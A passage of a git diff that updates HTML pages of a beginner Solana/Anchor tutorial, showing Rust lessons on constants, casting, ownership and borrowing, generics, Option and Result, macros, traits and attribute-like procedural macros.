            -static mut x: u32 = 100; // compile ok
            -let x=100; // let cannot compile
            +static mut x: u32 = 100; // compile ok
            +let x=100; // let cannot compile
             
            -#[program]
            -pub mod day_6 {
            -    // the rest of the code...
            +#[program]
            +pub mod day_6 {
            +    // the rest of the code...
             
            -    const MAX_POINTS3: u32 = 300_000;
            +    const MAX_POINTS3: u32 = 300_000;
             
            -    pub fn constant_test(_ctx: Context) -> Result<()> {
            -        const MAX_POINTS4: u32 = 400_000;
            -        msg!("MAX_POINTS1: {} ", MAX_POINTS1);
            -        msg!("MAX_POINTS2: {} ", MAX_POINTS2);
            -        msg!("MAX_POINTS3: {} ", MAX_POINTS3);
            -        msg!("MAX_POINTS4: {} ", MAX_POINTS4);
            +    pub fn constant_test(_ctx: Context<Initialize>) -> Result<()> {
            +        const MAX_POINTS4: u32 = 400_000;
            +        msg!("MAX_POINTS1: {} ", MAX_POINTS1);
            +        msg!("MAX_POINTS2: {} ", MAX_POINTS2);
            +        msg!("MAX_POINTS3: {} ", MAX_POINTS3);
            +        msg!("MAX_POINTS4: {} ", MAX_POINTS4);
             
            -        const MAX_POINTS2: u32 = 500_000;
            -        msg!("Local MAX_POINTS2: {} ", MAX_POINTS2);
            -        Ok(())
            +        const MAX_POINTS2: u32 = 500_000;
            +        msg!("Local MAX_POINTS2: {} ", MAX_POINTS2);
            +        Ok(())
                 }
             }
             
            -#[derive(Accounts)]
            -pub struct Initialize {}
            -
            +#[derive(Accounts)] +pub struct Initialize {} +

            update test file:

            -
              it("should succeed test constant!", async () => {
            -    const tx = await program.methods.constantTest().rpc();
            -    console.log("You tx signature:", tx);
            +
              it("should succeed test constant!", async () => {
            +    const tx = await program.methods.constantTest().rpc();
            +    console.log("You tx signature:", tx);
               })
             

            Result:

            @@ -710,23 +706,23 @@

            Usize and casting

          8. It defines the size of this primitive is how many bytes it takes to reference any location in memory.
          9. For example, on a 32 bit target, this is 4 bytes and on a 64 bit target, this is 8 bytes.
          -
              pub fn usize_test(_ctx: Context) -> Result<()> {
          +
              pub fn usize_test(_ctx: Context<Initialize>) -> Result<()> {
           
          -        let mut a: usize = 100;
          -        let b: u32 = 200;
          -        let d: u128 = 400;
          -        msg!("size of a: {}", std::mem::size_of_val(&a)); // 8
          -        msg!("size of b: {}", std::mem::size_of_val(&b)); // 4
          +        let mut a: usize = 100;
          +        let b: u32 = 200;
          +        let d: u128 = 400;
          +        msg!("size of a: {}", std::mem::size_of_val(&a)); // 8
          +        msg!("size of b: {}", std::mem::size_of_val(&b)); // 4
           
          -        a = d as usize; // conversion
          -        msg!("new size of a: {}", std::mem::size_of_val(&a)); // 8
          -        Ok(())
          +        a = d as usize; // conversion
          +        msg!("new size of a: {}", std::mem::size_of_val(&a)); // 8
          +        Ok(())
               }
          -
          +

          update test code:

          -
            it("should succeed test usize and casting!", async () => {
          -    const tx = await program.methods.usizeTest().rpc();
          -    console.log("You tx signature:", tx);
          +
            it("should succeed test usize and casting!", async () => {
          +    const tx = await program.methods.usizeTest().rpc();
          +    console.log("You tx signature:", tx);
             })
           

          Result:

          @@ -774,7 +770,7 @@ @@ -860,14 +856,6 @@ - - - - - - - - diff --git a/en/solana_beginner/07_Rust_Interesting_Syntax/index.html b/en/solana_beginner/07_Rust_Interesting_Syntax/index.html index 47e7db1f..6bebb93a 100644 --- a/en/solana_beginner/07_Rust_Interesting_Syntax/index.html +++ b/en/solana_beginner/07_Rust_Interesting_Syntax/index.html @@ -36,10 +36,6 @@ - - - - @@ -472,55 +468,55 @@

          Copy Type vs Non-Copy Type

          anchor new day_7
           

          And update with the following code (be sure to replace with your program id).

          -
          use anchor_lang::prelude::*;
          +
          use anchor_lang::prelude::*;
           
          -declare_id!("2V4BSWLCWVP5CmrxbcpKG1bqczwgirs43euQtHDJqwDa");
          +declare_id!("2V4BSWLCWVP5CmrxbcpKG1bqczwgirs43euQtHDJqwDa");
           
          -pub fn add(a: u32, b: u32) -> u32 {
          +pub fn add(a: u32, b: u32) -> u32 {
               a + b
           }
           
          -pub fn concat(s1: String, s2: String) -> String {
          -    format!("{}{}", s1, s2)
          +pub fn concat(s1: String, s2: String) -> String {
          +    format!("{}{}", s1, s2)
           }
           
          -#[program]
          -pub mod day_7 {
          -    use super::*;
          +#[program]
          +pub mod day_7 {
          +    use super::*;
           
          -    pub fn copy_types(ctx: Context) -> Result<()> {
          -        let a: u32 = 2;
          -        let b: u32 = 3;
          -        msg!("{} + {} = {}", a, b, add(a, b));
          +    pub fn copy_types(ctx: Context<Initialize>) -> Result<()> {
          +        let a: u32 = 2;
          +        let b: u32 = 3;
          +        msg!("{} + {} = {}", a, b, add(a, b));
           
          -        let s1 = String::from("hello");
          -        let s2 = String::from(" world");
          +        let s1 = String::from("hello");
          +        let s2 = String::from(" world");
           
          -        // if s1 and s2 are copied, this could be a huge data transfer
          -        // if the strings are very long
          -        msg!("{}{}", s1, s2);
          -        Ok(())
          +        // if s1 and s2 are copied, this could be a huge data transfer
          +        // if the strings are very long
          +        msg!("{}{}", s1, s2);
          +        Ok(())
               }
           }
           
          -#[derive(Accounts)]
          -pub struct Initialize {}
          -
          +#[derive(Accounts)] +pub struct Initialize {} +

          add test file tests/day_7.ts:

          -
          import * as anchor from "@coral-xyz/anchor";
          -import { Program } from "@coral-xyz/anchor";
          -import { Day7 } from '../target/types/day_7';
          +
          import * as anchor from "@coral-xyz/anchor";
          +import { Program } from "@coral-xyz/anchor";
          +import { Day7 } from '../target/types/day_7';
           
          -describe("day_7", () => {
          +describe("day_7", () => {
             anchor.setProvider(anchor.AnchorProvider.env());
          -  const program = anchor.workspace.Day7 as Program;
          +  const program = anchor.workspace.Day7 as Program<Day7>;
           
          -  it("should succeed copy types!", async () => {
          -    const tx = await program.methods.copyTypes().rpc();
          -    console.log("You tx signature:", tx);
          +  it("should succeed copy types!", async () => {
          +    const tx = await program.methods.copyTypes().rpc();
          +    console.log("You tx signature:", tx);
             })
           })
          -
          +

          Result:

          image-20240725222202935

          within this demo, both a and b are type of u32, means when pass to function add, only need to copy 4Bytes * 2 are copied, so they are copy type.

          @@ -528,173 +524,173 @@

          Copy Type vs Non-Copy Type

          Ownership

          the ownership concept is only an issue with (apply to) non-copy-types: Strings, vectors, structs, and the usage is alike the term ofreference in C++, let's dive into the details.

          add this function into the code base.

          -
              pub fn ownership(ctx: Context) -> Result<()> {
          -        let s1 = String::from("hello");
          -        let res = s1; // res become the owner of value: "hello"
          +
              pub fn ownership(ctx: Context<Initialize>) -> Result<()> {
          +        let s1 = String::from("hello");
          +        let res = s1; // res become the owner of value: "hello"
           
          -        msg!("{:?}", s1); // this line won't compile, cos s1 is no longer the owner of value: "hello"
          -        msg!("{:?}", res);
          +        msg!("{:?}", s1); // this line won't compile, cos s1 is no longer the owner of value: "hello"
          +        msg!("{:?}", res);
           
          -        Ok(())
          +        Ok(())
               }
          -
          +

          and you will see this error after compilation.

          image-20240726082430991

          To fix the code above we have two options: use the & operator or clone s1.

          Borrowing

          To give another variable or function a view of an owned variable, we prepend it with: &.

          -
              pub fn ownership(ctx: Context) -> Result<()> {
          -        let s1 = String::from("hello");
          -        let res = &s1;
          +
              pub fn ownership(ctx: Context<Initialize>) -> Result<()> {
          +        let s1 = String::from("hello");
          +        let res = &s1;
           
          -        msg!("s1 under view: {:?}", s1);
          -        msg!("res view s1: {:?}", res);
          +        msg!("s1 under view: {:?}", s1);
          +        msg!("res view s1: {:?}", res);
           
          -        let s2 = String::from("world");
          -        let res2 = s2;
          -        msg!("res2 owns s2: {:?}", res2);
          +        let s2 = String::from("world");
          +        let res2 = s2;
          +        msg!("res2 owns s2: {:?}", res2);
           
          -        Ok(())
          +        Ok(())
               }
          -
          +

          s2 can now view String::from("hello") but not own it, it will holds a reference to the string value in s1, but s1 still holds its original string value.

          in rust, we the techitical word of what we are calling view only is : borrowing.

          image-20240726084933412

          Borrowing (copy-type)

          -
              pub fn borrow_integer(ctx: Context) -> Result<()> {
          -        let a = 10;
          -        let b = &a;
          -        let c = a;
          -
          -        msg!("a: {:?}", a);
          -        msg!("b: {:?}", b);
          -        msg!("c: {:?}", c);
          -        Ok(())
          +
              pub fn borrow_integer(ctx: Context<Initialize>) -> Result<()> {
          +        let a = 10;
          +        let b = &a;
          +        let c = a;
          +
          +        msg!("a: {:?}", a);
          +        msg!("b: {:?}", b);
          +        msg!("c: {:?}", c);
          +        Ok(())
               }
          -
          +

          a, b, c all hold a new copy of value 10, the underlying reason is that the overhead is negligible.

          image-20240726091005029

          Clone a object

          if a var of a non-copy-type is being borrowed, it cannot be reassigned, check the code below.

          -
              pub fn clone_test(ctx: Context) -> Result<()> {
          -        let mut s1 = String::from("hello");
          -        // let y = &s1; // comment this line
          -
          -        s1 = s1 + " world";
          -        // msg!("y : {:?}", y); // comment this line
          -        msg!("s1: {:?}", s1);
          -        Ok(())
          +
              pub fn clone_test(ctx: Context<Initialize>) -> Result<()> {
          +        let mut s1 = String::from("hello");
          +        // let y = &s1; // comment this line
          +
          +        s1 = s1 + " world";
          +        // msg!("y : {:?}", y); // comment this line
          +        msg!("s1: {:?}", s1);
          +        Ok(())
               }
          -
          +

          everything works now, then we uncomment two lines above, and the complier will complain:

          -
              pub fn clone_test(ctx: Context) -> Result<()> {
          -        let mut s1 = String::from("hello");
          -        let y = &s1;
          -
          -        s1 = s1 + " world";
          -        msg!("y : {:?}", y);
          -        msg!("s1: {:?}", s1);
          -        Ok(())
          +
              pub fn clone_test(ctx: Context<Initialize>) -> Result<()> {
          +        let mut s1 = String::from("hello");
          +        let y = &s1;
          +
          +        s1 = s1 + " world";
          +        msg!("y : {:?}", y);
          +        msg!("s1: {:?}", s1);
          +        Ok(())
               }
          -
          +

          image-20240726085555156

          in order to make it work, we can not borrow anymore, instead of we clone.

          
          -    pub fn clone_test(ctx: Context) -> Result<()> {
          -        let mut s1 = String::from("hello");
          -        // let y = &s1;
          -        let y = s1.clone(); // add this line
          -
          -        s1 = s1 + " world";
          -        msg!("y : {:?}", y);
          -        msg!("s1: {:?}", s1);
          -        Ok(())
          +    pub fn clone_test(ctx: Context<Initialize>) -> Result<()> {
          +        let mut s1 = String::from("hello");
          +        // let y = &s1;
          +        let y = s1.clone(); // add this line
          +
          +        s1 = s1 + " world";
          +        msg!("y : {:?}", y);
          +        msg!("s1: {:?}", s1);
          +        Ok(())
               }
          -
          +

          Now, y has an entire copy of s1, no constraint anymore.

          image-20240726090212372

          Interesting thing: if we only comment the msg!line and keep the borrowing line, it still work.

          -
              pub fn clone_test(ctx: Context) -> Result<()> {
          -        let mut s1 = String::from("hello");
          -        let y = &s1;
          -
          -        s1 = s1 + " world";
          -        // msg!("y : {:?}", y);
          -        msg!("s1: {:?}", s1);
          -        Ok(())
          +
              pub fn clone_test(ctx: Context<Initialize>) -> Result<()> {
          +        let mut s1 = String::from("hello");
          +        let y = &s1;
          +
          +        s1 = s1 + " world";
          +        // msg!("y : {:?}", y);
          +        msg!("s1: {:?}", s1);
          +        Ok(())
               }
          -
          +

          Generic types

          Rust also supports generic types, eliminating the need to write multiple functions for different types with the same logic.

          -
          use anchor_lang::prelude::*;
          +
          use anchor_lang::prelude::*;
           
          -declare_id!("2V4BSWLCWVP5CmrxbcpKG1bqczwgirs43euQtHDJqwDa");
          +declare_id!("2V4BSWLCWVP5CmrxbcpKG1bqczwgirs43euQtHDJqwDa");
           
          -#[program]
          -pub mod day_7 {
          -    use super::*;
          -         // The rest...
          +#[program]
          +pub mod day_7 {
          +    use super::*;
          +         // The rest...
           
          -    pub fn generic_type_test(ctx: Context) -> Result<()> {
          -        let my_values1 = MyValues {
          -            foo: 42,
          -            bar: "hello".to_string(),
          +    pub fn generic_type_test(ctx: Context<Initialize>) -> Result<()> {
          +        let my_values1 = MyValues {
          +            foo: 42,
          +            bar: "hello".to_string(),
                   };
           
          -        let my_values2 = MyValues {
          -            foo: true,
          -            bar: [1, 2, 3],
          +        let my_values2 = MyValues {
          +            foo: true,
          +            bar: [1, 2, 3],
                   };
           
          -        msg!("my_values1: {:?}", my_values1);
          -        msg!("my_values2: {:?}", my_values2);
          -        Ok(())
          +        msg!("my_values1: {:?}", my_values1);
          +        msg!("my_values2: {:?}", my_values2);
          +        Ok(())
               }
           }
           
          -#[derive(Accounts)]
          -pub struct Initialize {}
          +#[derive(Accounts)]
          +pub struct Initialize {}
           
          -// derive the debug trait so we can print the struct to the console
          -#[derive(Debug)]
          -struct MyValues {
          +// derive the debug trait so we can print the struct to the console
          +#[derive(Debug)]
          +struct MyValues<T, U> {
               foo: T,
               bar: U,
           }
          -
          +

          we can reuse this MyValues type on different types.

          image-20240726231659108

          Options

          -
          fn main() {
          -    let v = Vec::from([1,2,3,4,5]);
          +
          fn main() {
          +    let v = Vec::from([1,2,3,4,5]);
           
          -    assert!(v.iter().max() == 5);
          +    assert!(v.iter().max() == 5);
           }
           

          The code fails to compile with the following error:

          -
          6 |     assert!(v.iter().max() == 5);
          -  |                               ^ expected `Option<&{integer}>`, found integer
          -
          +
          6 |     assert!(v.iter().max() == 5);
          +  |                               ^ expected `Option<&{integer}>`, found integer
          +

          The output of max() is not an integer due to the corner case that the vector v might be empty.

          To handle this corner case, rust returns an Option instead. An Option is an enum which can contain either the expected value, or a special value that indicates “nothing was there.”

          option comes together with enum, if the value of a type is empty, rust will return a value of type option, create new program

          anchor new day_7_1
           

          update with with the code below.

          -
              pub fn option_test(ctx: Context) -> Result<()> {
          -        let v = Vec::from([1, 2, 3, 4, 5]);
          -        // assert!(v.iter().max() == 5); // wrong
          -        assert!(v.iter().max().unwrap() == &5); // correct
          -        Ok(())
          +
              pub fn option_test(ctx: Context<Initialize>) -> Result<()> {
          +        let v = Vec::from([1, 2, 3, 4, 5]);
          +        // assert!(v.iter().max() == 5); // wrong
          +        assert!(v.iter().max().unwrap() == &5); // correct
          +        Ok(())
               }
          -
          +

          To turn an Option into the underlying type, we use unwrap(). unwrap() will cause a panic if we received “nothing”, so we should only use it in situations where we want the panic to occur or we are sure we won’t get a empty value.

          The deref Operator *

          as you may notice, we use &0 instead of 0, cos the return type of unwrap() is a view, so we need to use & ahead.

          -
                  assert!(v.iter().max().unwrap() == &5); // correct
          +
                  assert!(v.iter().max().unwrap() == &5); // correct
           

          to convert the view of an integer backward to a regular integer, we can use * operator to deference.

          -
                  assert!(*v.iter().max().unwrap() == 5); // correct
          +
                  assert!(*v.iter().max().unwrap() == 5); // correct
           

          You can think of * as "undoing" a & without disturbing the original value.

          Result Type

          @@ -703,18 +699,18 @@

          Result Type

          in day_4, we return either error or ok in this function

          image-20240728103805491

          if we trace back and we will get it's definition like this:

          -
          pub enum Result {
          -    /// Contains the success value
          -    #[lang = "Ok"]
          -    #[stable(feature = "rust1", since = "1.0.0")]
          -    Ok(#[stable(feature = "rust1", since = "1.0.0")] T),
          -
          -    /// Contains the error value
          -    #[lang = "Err"]
          -    #[stable(feature = "rust1", since = "1.0.0")]
          -    Err(#[stable(feature = "rust1", since = "1.0.0")] E),
          +
          pub enum Result<T, E> {
          +    /// Contains the success value
          +    #[lang = "Ok"]
          +    #[stable(feature = "rust1", since = "1.0.0")]
          +    Ok(#[stable(feature = "rust1", since = "1.0.0")] T),
          +
          +    /// Contains the error value
          +    #[lang = "Err"]
          +    #[stable(feature = "rust1", since = "1.0.0")]
          +    Err(#[stable(feature = "rust1", since = "1.0.0")] E),
           }
          -
          +

          Operator ?

          The ? operator can only be ued in functions that return a Resultas it is syntactic sugar for returning either Err or Ok.

            @@ -722,65 +718,66 @@

            Operator ?

          • ?: can be used only on Result.

          let test it, udpate the code:

          -
          use anchor_lang::prelude::*;
          -use borsh::{BorshDeserialize, BorshSerialize};
          +
          use anchor_lang::prelude::*;
          +use borsh::{BorshDeserialize, BorshSerialize};
           
          -declare_id!("DjFyT85igx13HFU7uLuqozGaPw6HiQX31PCNLThCCspf");
          +declare_id!("DjFyT85igx13HFU7uLuqozGaPw6HiQX31PCNLThCCspf");
           
          -#[program]
          -pub mod day_7_1 {
          -    use super::*;
          +#[program]
          +pub mod day_7_1 {
          +    use super::*;
           
          -    pub fn encode_and_decode(ctx: Context) -> Result<()> {
          -        let init_person: Person = Person {
          -            name: "Alice".to_string(),
          -            age: 30,
          +    pub fn encode_and_decode(ctx: Context<Initialize>) -> Result<()> {
          +        let init_person: Person = Person {
          +            name: "Alice".to_string(),
          +            age: 30,
                   };
           
          -        let encoded_data: Vec = init_person.try_to_vec().unwrap();
          -        msg!("Encoded data: {:?}", encoded_data);
          +        let encoded_data: Vec<u8> = init_person.try_to_vec().unwrap();
          +        msg!("Encoded data: {:?}", encoded_data);
           
          -        let data: Person = decode(ctx, encoded_data)?;
          -        msg!("Decoded data: {:?}", data);
          -        Ok(())
          +        let data: Person = decode(ctx, encoded_data)?;
          +        msg!("Decoded data: {:?}", data);
          +        Ok(())
               }
           
          -    // pub fn decode(ctx: Context, encoded_data: Vec) -> Result { <<--- this won't compile, why?? pub fn decode(ctx: context, encoded_data: Vec) -> Result<(person)> {
          -        let decoded_data: Person = Person::try_from_slice(&encoded_data).unwrap();
          -        Ok(decoded_data)
          -        // Ok(())
          +    // pub fn decode(ctx: Context<Initialize>, encoded_data: Vec<u8>) -> Result<Person> { <<--- this won't compile, why??
          +    pub fn decode(ctx: Context<Initialize>, encoded_data: Vec<u8>) -> Result<(Person)> {
          +        let decoded_data: Person = Person::try_from_slice(&encoded_data).unwrap();
          +        Ok(decoded_data)
          +        // Ok(())
               }
           }
           
          -#[derive(Accounts)]
          -pub struct Initialize {}
          +#[derive(Accounts)]
          +pub struct Initialize {}
           
          -#[derive(BorshSerialize, BorshDeserialize, Debug)]
          -pub struct Person {
          -    name: String,
          -    age: u32,
          +#[derive(BorshSerialize, BorshDeserialize, Debug)]
          +pub struct Person {
          +    name: String,
          +    age: u32,
           }
          -
          +

          update test file:

          -
          import * as anchor from "@coral-xyz/anchor";
          -import { Program } from "@coral-xyz/anchor";
          -import { Day71 } from '../target/types/day_7_1';
          +
          import * as anchor from "@coral-xyz/anchor";
          +import { Program } from "@coral-xyz/anchor";
          +import { Day71 } from '../target/types/day_7_1';
           
          -describe("day_7_1", () => {
          +describe("day_7_1", () => {
             anchor.setProvider(anchor.AnchorProvider.env());
          -  const program = anchor.workspace.Day7_1 as Program;
          +  const program = anchor.workspace.Day7_1 as Program<Day71>;
           
          -  it("should succeed test option!", async () => {
          -    const tx = await program.methods.optionTest().rpc();
          -    console.log("You tx signature:", tx);
          +  it("should succeed test option!", async () => {
          +    const tx = await program.methods.optionTest().rpc();
          +    console.log("You tx signature:", tx);
             })
           
          -  it("should succeed test ? operator!", async () => {
          -    const tx = await program.methods.encodeAndDecode().rpc();
          -    console.log("You tx signature:", tx);
          +  it("should succeed test ? operator!", async () => {
          +    const tx = await program.methods.encodeAndDecode().rpc();
          +    console.log("You tx signature:", tx);
             })
           })
          -
          +

          run:

          image-20240728120442976

          Key Takeaways

          @@ -824,7 +821,7 @@ @@ -910,14 +907,6 @@ - - - - - - - - diff --git a/en/solana_beginner/08_Function-like_procedural_macro/index.html b/en/solana_beginner/08_Function-like_procedural_macro/index.html index cf14935b..5a122666 100644 --- a/en/solana_beginner/08_Function-like_procedural_macro/index.html +++ b/en/solana_beginner/08_Function-like_procedural_macro/index.html @@ -36,10 +36,6 @@ - - - - @@ -456,9 +452,9 @@

          Function-like macro

          what is msg!() and println!() in our previous code base, why is there a exclamation point(!) after it? We will explain it in this session.

          As a strongly typed language, rust cannot accept an arbitrary number of arguments to a function, for example, in Python, the following code works, cos python is a weakly typed language .

          -
          print(1)
          -print(1,2)
          -print(1,2,3)
          +
          print(1)
          +print(1,2)
          +print(1,2,3)
           

          image-20240728162038985

          The ! denotes that the function is a function-like macro, and in rust, it is idetified by the presence of a ! symbol, for example: println!(...) or msg!(...) in solana.

          @@ -467,31 +463,31 @@

          Why need Macro

          image-20240728162715695

          How can we fix this? one way is to write a custom print function to handle each case for each number of arguments -- that's extremely inefficient!!!

          here is a what such code would look like:

          -
          use std::io::Write;
          +
          use std::io::Write;
           
          -// print one argument
          -fn print1(arg1: &[u8]) -> () {
          +// print one argument
          +fn print1(arg1: &[u8]) -> () {
                   std::io::stdout().write(arg1).unwrap();
           }
           
          -// print two arguments
          -fn print2(arg1: &[u8], arg2: &[u8]) -> () {
          -    let combined_vec = [arg1, b" ", arg2].concat();
          -    let combined_slice = combined_vec.as_slice();
          +// print two arguments
          +fn print2(arg1: &[u8], arg2: &[u8]) -> () {
          +    let combined_vec = [arg1, b" ", arg2].concat();
          +    let combined_slice = combined_vec.as_slice();
                   std::io::stdout().write(combined_slice).unwrap();
           }
           
          -// print three arguments
          -fn print3(arg1: &[u8], arg2: &[u8], arg3: &[u8]) -> () {
          -    let combined_vec = [arg1, b" ", arg2, b" ", arg3].concat();
          -    let combined_slice = combined_vec.as_slice();
          +// print three arguments
          +fn print3(arg1: &[u8], arg2: &[u8], arg3: &[u8]) -> () {
          +    let combined_vec = [arg1, b" ", arg2, b" ", arg3].concat();
          +    let combined_slice = combined_vec.as_slice();
                   std::io::stdout().write(combined_slice).unwrap();
           }
           
          -fn main() {
          -        print1(b"1\n");
          -        print2(b"1", b"2\n");
          -        print3(b"1", b"2", b"3\n");
          +fn main() {
          +        print1(b"1\n");
          +        print2(b"1", b"2\n");
          +        print3(b"1", b"2", b"3\n");
           }
           

          image-20240728163223806

          @@ -503,7 +499,7 @@

          Why need Macro

          Expand Macro

          To see an example of how the rust compiler is expanding the println! Macro, check the cargo expand github repo for more info.

          cargo install cargo-expand
          -cd programs/day_8/src
          +cd programs/day_8/src
           cargo expand
           

          the output is verbose wont show it here.

          @@ -552,7 +548,7 @@ @@ -638,14 +634,6 @@ - - - - - - - - diff --git a/en/solana_beginner/09_Attribute_Custom_macro/index.html b/en/solana_beginner/09_Attribute_Custom_macro/index.html index 88cd93fd..53a1c676 100644 --- a/en/solana_beginner/09_Attribute_Custom_macro/index.html +++ b/en/solana_beginner/09_Attribute_Custom_macro/index.html @@ -36,10 +36,6 @@ - - - - @@ -467,90 +463,90 @@

          Three macros

          Impl

          A impl is similar to a lib in solidity, we can bind some functions to a lib and use it with the syntax myLib.newFunction().

          in rust, we can use the keyword implto associate functions to a struct, we can test it in playground.

          -
          struct Person {
          -    name: String,
          -    age: u8,
          +
          struct Person {
          +    name: String,
          +    age: u8,
           }
           
          -impl Person {
          -    fn new(name: String, age: u8) -> Self {
          -        return Person { name, age };
          +impl Person {
          +    fn new(name: String, age: u8) -> Self {
          +        return Person { name, age };
               }
           
          -    fn can_drink(&self) -> bool {
          -        return self.age >= 21;
          +    fn can_drink(&self) -> bool {
          +        return self.age >= 21;
               }
           
          -    fn get_age(&self) -> u8 {
          -        return self.age;
          +    fn get_age(&self) -> u8 {
          +        return self.age;
               }
           }
           
          -fn main() {
          -    let alice = Person::new("Alice".to_string(), 30);
          -    println!("Can Alice drink? {}", alice.can_drink());
          -    println!("Alice's age: {}", alice.get_age());
          +fn main() {
          +    let alice = Person::new("Alice".to_string(), 30);
          +    println!("Can Alice drink? {}", alice.can_drink());
          +    println!("Alice's age: {}", alice.get_age());
           }
           

          // Output:

          -
          Can Alice drink? true
          -Alice's age: 30
          -
          +
          Can Alice drink? true
          +Alice's age: 30
          +

          now we have associated three functions with struct Person.

          Traits

          Rust Traits are a way to implement shared behavior among different impls. Think of them like an interface or abstract contract in solidity ---- any contract that uses the interface must implement certain functions.

          Think of them like polymorphism in C++, be attention to function get_speed below, it accepts different instance ofimpl and gets different result accordingly.

          -
          // Traits are defined with the `trait` keyword followed by their name
          -trait Speed {
          -    fn get_speed_kph(&self) -> f64;
          +
          // Traits are defined with the `trait` keyword followed by their name
          +trait Speed {
          +    fn get_speed_kph(&self) -> f64;
           }
           
          -// Car struct
          -struct Car {
          -    speed_mph: f64,
          +// Car struct
          +struct Car {
          +    speed_mph: f64,
           }
           
          -// Boat struct
          -struct Boat {
          -    speed_knots: f64,
          +// Boat struct
          +struct Boat {
          +    speed_knots: f64,
           }
           
          -// Traits are implemented for a type using the `impl` keyword as shown below
          -impl Speed for Car {
          -    fn get_speed_kph(&self) -> f64 {
          -        // Convert miles per hour to kilometers per hour
          -        self.speed_mph * 1.60934
          +// Traits are implemented for a type using the `impl` keyword as shown below
          +impl Speed for Car {
          +    fn get_speed_kph(&self) -> f64 {
          +        // Convert miles per hour to kilometers per hour
          +        self.speed_mph * 1.60934
               }
           }
           
          -// We also implement the `Speed` trait for `Boat`
          -impl Speed for Boat {
          -    fn get_speed_kph(&self) -> f64 {
          -        // Convert knots to kilometers per hour
          -        self.speed_knots * 1.852
          +// We also implement the `Speed` trait for `Boat`
          +impl Speed for Boat {
          +    fn get_speed_kph(&self) -> f64 {
          +        // Convert knots to kilometers per hour
          +        self.speed_knots * 1.852
               }
           }
           
          -// Function to get the speed in km/h for any type implementing the Speed trait
          -fn get_speed(transport: &dyn Speed)-> f64 {
          -    return transport.get_speed_kph();
          +// Function to get the speed in km/h for any type implementing the Speed trait
          +fn get_speed(transport: &dyn Speed)-> f64 {
          +    return transport.get_speed_kph();
           }
           
          -fn main() {
          -    // Initialize a `Car` and `Boat` type
          -    let car = Car { speed_mph: 60.0 };
          -    let boat = Boat { speed_knots: 30.0 };
          +fn main() {
          +    // Initialize a `Car` and `Boat` type
          +    let car = Car { speed_mph: 60.0 };
          +    let boat = Boat { speed_knots: 30.0 };
           
          -    // Get and print the speeds in kilometers per hour
          -    let car_speed_kph = car.get_speed_kph();
          -    let boat_speed_kph = boat.get_speed_kph();
          +    // Get and print the speeds in kilometers per hour
          +    let car_speed_kph = car.get_speed_kph();
          +    let boat_speed_kph = boat.get_speed_kph();
           
          -    println!("Car Speed: {} km/h", car_speed_kph); // 96.5604 km/h
          -    println!("Boat Speed: {} km/h", boat_speed_kph); // 55.56 km/h
          +    println!("Car Speed: {} km/h", car_speed_kph); // 96.5604 km/h
          +    println!("Boat Speed: {} km/h", boat_speed_kph); // 55.56 km/h
           
          -    // polymorphism
          -    println!("Polymorphism Car Speed: {} km/h", get_speed(&car));
          -    println!("Polymorphism Boat Speed: {} km/h", get_speed(&boat));
          +    // polymorphism
          +    println!("Polymorphism Car Speed: {} km/h", get_speed(&car));
          +    println!("Polymorphism Boat Speed: {} km/h", get_speed(&boat));
           }
           

          output:

          @@ -559,21 +555,21 @@

          Att-like macro

          we can use attribute-like macro to change a struct, the technique beneath the surface is impl we just described.

          we test in rust_projects other than anchor programs.

          mkdir rust_projects
          -cd rust_projects
          +cd rust_projects
           cargo new day_9_1
           

          update the day_9_1/Cargo.toml as below:

          -
          [lib]
          -proc-macro = true
          +
          [lib]
          +proc-macro = true
           
          -[dependencies]
          -syn = {version="1.0.57",features=["full","fold"]}
          -quote = "1.0.8"
          +[dependencies]
          +syn = {version="1.0.57",features=["full","fold"]}
          +quote = "1.0.8"
           
          -

          add fields into a struct

          +

          Add fields into a struct

          we will define a attribute-like macro: #[foo_bar_attribute] and attach it to the simple struct below:

          -
          struct MyStruct {
          -    baz: i32
          +
          struct MyStruct {
          +    baz: i32
           }
           

          within this macro, we will alter MyStruct by:

          @@ -582,70 +578,70 @@

          add fields into a struct

        3. adding a new function double_foo which returns twice the integer value of whatever foo is holding.
        4. update the following code to day_9_1/src/main.rs

          -
          // day_9_1/src/main.rs
          -use day_9_1::foo_bar_attribute;
          +
          // day_9_1/src/main.rs
          +use day_9_1::foo_bar_attribute;
           
          -#[foo_bar_attribute]
          -struct MyStruct {
          -    baz: i32,
          +#[foo_bar_attribute]
          +struct MyStruct {
          +    baz: i32,
           }
           
          -fn main() {
          -    let demo = MyStruct::default();
          -    println!("struct is {:?}", demo);
          +fn main() {
          +    let demo = MyStruct::default();
          +    println!("struct is {:?}", demo);
           
          -    let double_foo = demo.double_foo();
          -    println!("double foo is {}", double_foo);
          +    let double_foo = demo.double_foo();
          +    println!("double foo is {}", double_foo);
           }
           

          create day_9_1/src/lib1.rs:

          -
          // day_9_1/src/lib1.rs
          -
          -// Importing necessary external crates
          -extern crate proc_macro;
          -use proc_macro::TokenStream;
          -use quote::quote;
          -use syn::{parse_macro_input, ItemStruct};
          -
          -// Declaring a procedural attribute-like macro using the `proc_macro_attribute` directive
          -// This makes the macro usable as an attribute
          -
          -#[proc_macro_attribute]
          -// The function `foo_bar_attribute` takes two arguments:
          -// _metadata: The arguments provided to the macro (if any)
          -// _input: The TokenStream the macro is applied to
          -pub fn foo_bar_attribute(_metadata: TokenStream, _input: TokenStream) -> TokenStream {
          -    // Parse the input TokenStream into an AST node representing a struct
          -    let input = parse_macro_input!(_input as ItemStruct);
          -    let struct_name = &input.ident; // Get the name of the struct
          -
          -    // Constructing the output TokenStream using the quote! macro
          -    // The quote! macro allows for writing Rust code as if it were a string,
          -    // but with the ability to interpolate values
          +
          // day_9_1/src/lib1.rs
          +
          +// Importing necessary external crates
          +extern crate proc_macro;
          +use proc_macro::TokenStream;
          +use quote::quote;
          +use syn::{parse_macro_input, ItemStruct};
          +
          +// Declaring a procedural attribute-like macro using the `proc_macro_attribute` directive
          +// This makes the macro usable as an attribute
          +
          +#[proc_macro_attribute]
          +// The function `foo_bar_attribute` takes two arguments:
          +// _metadata: The arguments provided to the macro (if any)
          +// _input: The TokenStream the macro is applied to
          +pub fn foo_bar_attribute(_metadata: TokenStream, _input: TokenStream) -> TokenStream {
          +    // Parse the input TokenStream into an AST node representing a struct
          +    let input = parse_macro_input!(_input as ItemStruct);
          +    let struct_name = &input.ident; // Get the name of the struct
          +
          +    // Constructing the output TokenStream using the quote! macro
          +    // The quote! macro allows for writing Rust code as if it were a string,
          +    // but with the ability to interpolate values
               TokenStream::from(quote! {
          -        // Derive Debug trait for #struct_name to enable formatted output with `println()`
